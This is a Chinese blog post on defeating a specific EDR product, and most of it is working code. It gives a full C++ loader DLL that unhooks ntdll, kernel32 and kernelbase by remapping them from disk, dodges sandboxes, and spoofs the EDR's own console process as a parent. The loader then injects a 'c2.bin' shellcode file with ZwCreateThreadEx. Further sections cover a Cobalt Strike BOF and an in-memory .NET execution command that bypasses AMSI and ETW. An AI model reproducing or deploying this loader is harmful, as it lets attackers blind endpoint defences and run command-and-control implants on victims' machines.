免殺實戰-EDR對抗

文章目錄

    • 殺軟分析
    • BOF
    • .NET

殺軟分析

x64dgb簡單調試發現該edr在r3環對ntdll.dll和kernel32.dll關鍵函數均存在hook,這里硬盤讀取原來的dll進行重新加載,原理如圖

在這里插入圖片描述

loader

// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
#include <Windows.h>
#include <TlHelp32.h>
#include<stdlib.h>
#include<iostream>
#include <psapi.h>BOOL  EnableDebugPrivilege()
{HANDLE token_handle;LUID luid;TOKEN_PRIVILEGES tkp;//打開訪問令牌if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token_handle)){return   FALSE;}//查詢luidif (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)){CloseHandle(token_handle);return   FALSE;}tkp.PrivilegeCount = 1;tkp.Privileges[0].Luid = luid;tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//調整訪問令牌權限if (!AdjustTokenPrivileges(token_handle, FALSE, &tkp, sizeof(tkp), NULL, NULL)){CloseHandle(token_handle);return   FALSE;}return TRUE;
}typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
typedef FARPROC
(WINAPI* pGetProcAddress)(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);
typedef HMODULE
(WINAPI* pLoadLibraryA)(_In_ LPCSTR lpLibFileName);int ppidfunc(DWORD pid, LPVOID lpBuffer, DWORD dwFileSize) {PROCESS_INFORMATION pi = { 0 };STARTUPINFOEXA si = { 0 };SIZE_T sizeToAllocate;si.StartupInfo.cb = sizeof(STARTUPINFOEXA);//getparenthandleHANDLE parentProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);//UpdateProcThreadAttributeInitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeToAllocate);InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);//CreateProcessCreateProcessA(NULL, (LPSTR)"notepad.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, dwFileSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);WriteProcessMemory(pi.hProcess, lpBaseAddress, (LPVOID)lpBuffer, dwFileSize, NULL);HANDLE hRemoteThread = NULL;DWORD ZwRet = 0;HMODULE hNtdll = LoadLibrary(L"ntdll.dll");typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, pi.hProcess, (LPTHREAD_START_ROUTINE)lpBaseAddress, NULL, 0, 0, 0, 0, NULL);WaitForSingleObject(hRemoteThread, INFINITE);CloseHandle(pi.hThread);CloseHandle(pi.hProcess);CloseHandle(parentProcessHandle);return 0;
}
BOOL box()
{MEMORYSTATUSEX memoryStatus;memoryStatus.dwLength = sizeof(MEMORYSTATUSEX);GlobalMemoryStatusEx(&memoryStatus);DWORDLONG RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024 / 1024;  //內存RAMMB(G)if (RAMMB > 2){SYSTEM_INFO systemInfo;GetSystemInfo(&systemInfo);DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;if (numberOfProcessors > 4)return FALSE;}elsereturn TRUE;
}
BOOL  isPrime(long long number) {if (number <= 1)return FALSE;int i = 2;for (; i <= number; ++i) {if (number % i == 0) {return FALSE;}}return TRUE;
}DWORD UNHOOKntdll(char* dllname) {MODULEINFO mi = {};HMODULE ntdllModule = GetModuleHandleA(dllname);GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));char nn[100] = { 0 };LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;//mi.lpBaseOfDll=ntdllModulesprintf_s(nn, "c:\\windows\\system32\\%s", dllname);HANDLE ntdllFile = CreateFileA((LPCSTR)nn, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {DWORD oldProtection = 0;bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);}}CloseHandle(ntdllFile);CloseHandle(ntdllMapping);FreeLibrary(ntdllModule);return 0;
}
DWORD FindProcPid() {HANDLE hProcessSnap = NULL;BOOL bRet = FALSE;PROCESSENTRY32 pe32 = { 0 };DWORD dwProcessId = 0;hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);pe32.dwSize = sizeof(PROCESSENTRY32);if (hProcessSnap != INVALID_HANDLE_VALUE) {bRet = Process32First(hProcessSnap, &pe32);while (bRet) {if (!_wcsicmp(pe32.szExeFile, L"EPConsole.exe")) {dwProcessId = pe32.th32ProcessID;break;}bRet = Process32Next(hProcessSnap, &pe32);}}return dwProcessId;
}
int killme()
{char g_TargetFile[] = "c2.bin";//打開文件HANDLE hFile = CreateFileA((LPCSTR)g_TargetFile, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);//獲取文件大小DWORD dwFileSize = GetFileSize(hFile, NULL);//申請一塊內存空間PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);//將內存讀取到申請的內存空間DWORD dwReadLength = 0;ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLength, NULL);//關閉文件CloseHandle(hFile);if (box()) {isPrime(1000000000000000003);}else {DWORD pid = FindProcPid();UNHOOKntdll((char*)"ntdll.dll");UNHOOKntdll((char*)"kernel32.dll");UNHOOKntdll((char*)"kernelbase.dll");//EnableDebugPrivilege();//對于獲取system權限的進程而言需要管理員權限啟動ppidfunc(pid, lpBuffer, dwFileSize);}return 0;
}
extern "C" _declspec(dllexport) void test()
{killme();
}BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}

這里偽造成殺軟的子進程形成父進程信任鏈,通過ZwCreateThreadEx對子進程注入上線

通過白名單+偽簽名的黑dll上線,發現執行命令就死,猜測應該是cs的shell功能觸發了edr的啟發式導致被殺

BOF

這里通過BOF執行命令

#include "bofdefs.h"extern "C" {void go(char* buff, int len) {DFR_LOCAL(KERNEL32, CreateToolhelp32Snapshot);DFR_LOCAL(KERNEL32, Process32First);DFR_LOCAL(KERNEL32, Process32Next);DFR_LOCAL(KERNEL32, CloseHandle);//add ...PROCESSENTRY32 pe32;pe32.dwSize = sizeof(pe32);HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == INVALID_HANDLE_VALUE){BeaconPrintf(CALLBACK_OUTPUT," CreateToolhelp32Snapshot調用失敗! \n");return;}BOOL bMore = Process32First(hProcessSnap, &pe32);while (bMore){BeaconPrintf(CALLBACK_OUTPUT, "Process Name is : %s\t", pe32.szExeFile);BeaconPrintf(CALLBACK_OUTPUT, "Process ID is: % d \n", pe32.th32ProcessID);bMore = Process32Next(hProcessSnap, &pe32);}CloseHandle(hProcessSnap);}}
#ifndef BOF
void main(int argc, char* argv[]) {go(NULL, 0);
}#endif
inline-execute a.obj

在這里插入圖片描述

.NET

發現還可以內存加載.NET,需要bypass etw和amsi

using System;
using System.Runtime.InteropServices;
namespace coleak
{class winfun{[DllImport("User32.dll")]public static extern int MessageBox(IntPtr h, string m, string c, uint type);[DllImport("kernel32.dll", EntryPoint = "Beep")]public static extern bool mymethod(uint frequency, uint duration);}class Program{static void Main(string[] args){winfun winfun = new winfun();winfun.MessageBox((IntPtr)0, "yueyy", "coleak", (uint)0);Random random = new Random();for (int i = 0; i < 10000; i++){winfun.mymethod((uint)random.Next(10000), 100);}Console.ReadLine();}}
}
inlineExecute-Assembly --dotnetassembly test.exe  --amsi --etw --appdomain forRealLegit --mailslot forRealLegit

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/714695.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/714695.shtml
英文地址,請注明出處:http://en.pswp.cn/news/714695.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

DSI2協議之BTA行為理解

概念: DSI協議spec支持總線控制權在master和slave之間發生交換,即通過bus turn around來實現; BUS TURN AROUND: BTA 的實現是通過controller—>cdphy的turnrequest信號來實現; 關于控制器發出turnrequest給phy,phy通過lvds/trio線輸出turnaround sequence如下圖中…

LeetCode刷題筆記之二叉樹(四)

一、二叉搜索樹的應用 1. 700【二叉搜索樹中的搜索】 題目&#xff1a; 給定二叉搜索樹&#xff08;BST&#xff09;的根節點 root 和一個整數值 val。你需要在 BST 中找到節點值等于 val 的節點。 返回以該節點為根的子樹。 如果節點不存在&#xff0c;則返回 null 。代碼&a…

BUGKU 本地管理員

打開環境&#xff0c;先F12查看看到一串代碼。Base64解碼一下&#xff0c;得到的應該是密碼&#xff0c;然后輸入admin | test123試一下 使用BP抓包&#xff0c;修改XFF&#xff0c;得到flag

將鏡像上傳到私有鏡像倉庫Harbor

首先你需要安裝Harbor服務&#xff1a; https://blog.csdn.net/qq_50247813/article/details/136388229 客戶端已經安裝docker&#xff1a; https://docs.docker.com/engine/install/centos/ 在docker客戶端登錄 Harbor 我的Harbor 服務器地址&#xff1a; 192.168.44.161 賬號…

關于編寫測試用例的一些思考

測試用例是QA同學的基本功&#xff0c;每個人都有一套編寫測試用例的體系&#xff0c;本文是作者結合自身的工作經驗以及閱讀一些測試相關的書籍后的一些看法&#xff0c;歡迎大家一起討論學習。 測試設計 測試用例格式 面試中一些常見的問題 1.APP測試與服務端測試的區別&am…

微服務中的Feign:優雅實現遠程調用的秘密武器(二)

本系列文章簡介&#xff1a; 本系列文章將深入探討Feign的特點、原理以及在微服務中的應用場景&#xff0c;幫助讀者更好地理解和使用這個優秀的遠程調用工具。無論您是初學者還是有經驗的開發人員&#xff0c;本文都將為您揭示Feign的秘密&#xff0c;并帶您一起走進微服務的世…

何愷明新作 l-DAE:解構擴散模型

何愷明新作 l-DAE&#xff1a;解構擴散模型 提出背景擴散模型步驟如何在不影響數據表征能力的同時簡化模型&#xff1f;如何進一步推動模型向經典DAE靠攏&#xff1f;如何去除對生成任務設計的DDM中不適用于自監督學習的部分&#xff1f;如何改進DDM以專注于清晰圖像表示的學習…

2024華為軟件測試筆試面試真題,抓緊收藏不然就看不到了

一、選擇題 1、對計算機軟件和硬件資源進行管理和控制的軟件是&#xff08;D&#xff09; A.文件管理程序 B.輸入輸出管理程序 C.命令出來程序 D.操作系統 2、在沒有需求文檔和產品說明書的情況下只有哪一種測試方法可以進行的&#xff08;A&#xff09; A.錯誤推測法測試…

Docker 快速入門實操教程(完結)

Docker 快速入門實操教程&#xff08;完結&#xff09; Docker&#xff0c;啟動&#xff01; 如果安裝好Docker不知道怎么使用&#xff0c;不理解各個名詞的概念&#xff0c;不太了解各個功能的用途&#xff0c;這篇文章應該會對你有幫助。 前置條件&#xff1a;已經安裝Doc…

【Hadoop】在spark讀取clickhouse中數據

讀取clickhouse數據庫數據 import scala.collection.mutable.ArrayBuffer import java.util.Properties import org.apache.spark.sql.SaveMode import org.apache.spark.sql.SparkSessiondef getCKJdbcProperties(batchSize: String "100000",socketTimeout: Strin…

IOS 發布遇到“Unable to authenticate with App Store Connect”錯誤咋解決?

問題&#xff1a; 在開發ios app后&#xff0c;先發布adhoc版本&#xff0c;測試通過后&#xff0c;再發布testflight版本測試&#xff0c;但是可能會遇到一下問題。 解決辦法&#xff1a; 在Signing &Capabilities中&#xff0c;在ios下邊要指定有發布權限的Team賬號&a…

PAT (Basic Level) Practice | 判斷題

判斷題的評判很簡單&#xff0c;本題就要求你寫個簡單的程序幫助老師判題并統計學生們判斷題的得分。 輸入格式 輸入在第一行給出兩個不超過 100 的正整數 N 和 M&#xff0c;分別是學生人數和判斷題數量。第二行給出 M 個不超過 5 的正整數&#xff0c;是每道題的滿分值。第…

pytorch基礎2-數據集與歸一化

專題鏈接&#xff1a;https://blog.csdn.net/qq_33345365/category_12591348.html 本教程翻譯自微軟教程&#xff1a;https://learn.microsoft.com/en-us/training/paths/pytorch-fundamentals/ 初次編輯&#xff1a;2024/3/2&#xff1b;最后編輯&#xff1a;2024/3/2 本教程…

迪杰斯特拉算法的具體應用

fill與memset的區別介紹 例一 #include <iostream> #include <algorithm> using namespace std; const int maxn500; const int INF1000000000; bool isin[maxn]{false}; int G[maxn][maxn]; int path[maxn],rescue[maxn],num[maxn]; int weight[maxn]; int cityn…

【深度學習數學基礎】Hebbian圖(Hebbian Graph)

Hebbian圖&#xff08;Hebbian Graph&#xff09;是一種基于神經科學原理的網絡結構&#xff0c;它受到唐納德赫布&#xff08;Donald Hebb&#xff09;提出的赫布學習規則&#xff08;Hebb’s rule&#xff09;的啟發。赫布學習規則是神經科學中描述神經元之間突觸連接如何通過…

模板方法模式 詳解 設計模式

模板方法模式 模板方法模式是一種行為型設計模式&#xff0c;它定義了一個算法的骨架&#xff0c;將一些步驟延遲到子類中實現。這種模式允許子類在不改變算法結構的情況下重新定義算法的某些步驟。 結構 抽象類&#xff08;Abstract Class&#xff09;&#xff1a;負責給出一…

JavaWeb老杜視頻筆記總結,Servlet-JSP

關于直播 什么時間直播&#xff1f; 晚上8:00到10:00 每周直播幾天&#xff1f; 3天&#xff08;周一、周三、周五&#xff09; 本周比較特殊&#xff1a;周四周五周六三天直播&#xff0c;從下周開始就是一三五直播。 直播什么內容&#xff1f; 從JavaWEB開始。&#xff08…

《深入淺出紅黑樹:一起動手實現自平衡的二叉搜索樹》

一、分析 1. 紅黑樹的性質 紅黑樹是一種自平衡的二叉搜索樹&#xff0c;它具有以下五個性質&#xff1a; &#xff08;1&#xff09;節點是紅色或黑色。 &#xff08;2&#xff09;根節點是黑色。 &#xff08;3&#xff09;所有葉子節點&#xff08;NIL節點&#xff09;是…

探索數據宇宙:深入解析大數據分析與管理技術

?? 歡迎大家來訪Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭?&#xff5e;?? &#x1f31f;&#x1f31f; 歡迎各位親愛的讀者&#xff0c;感謝你們抽出寶貴的時間來閱讀我的文章。 我是Srlua&#xff0c;在這里我會分享我的知識和經驗。&#x…

第六課:NIO簡介

一、傳統BIO的缺點 BIO屬于同步阻塞行IO,在服務器的實現模型為&#xff0c;每一個連接都要對應一個線程。當客戶端有連接請求的時候&#xff0c;服務器端需要啟動一個新的線程與之對應處理&#xff0c;這個模型有很多缺陷。當客戶端不做出進一步IO請求的時候&#xff0c;服務器…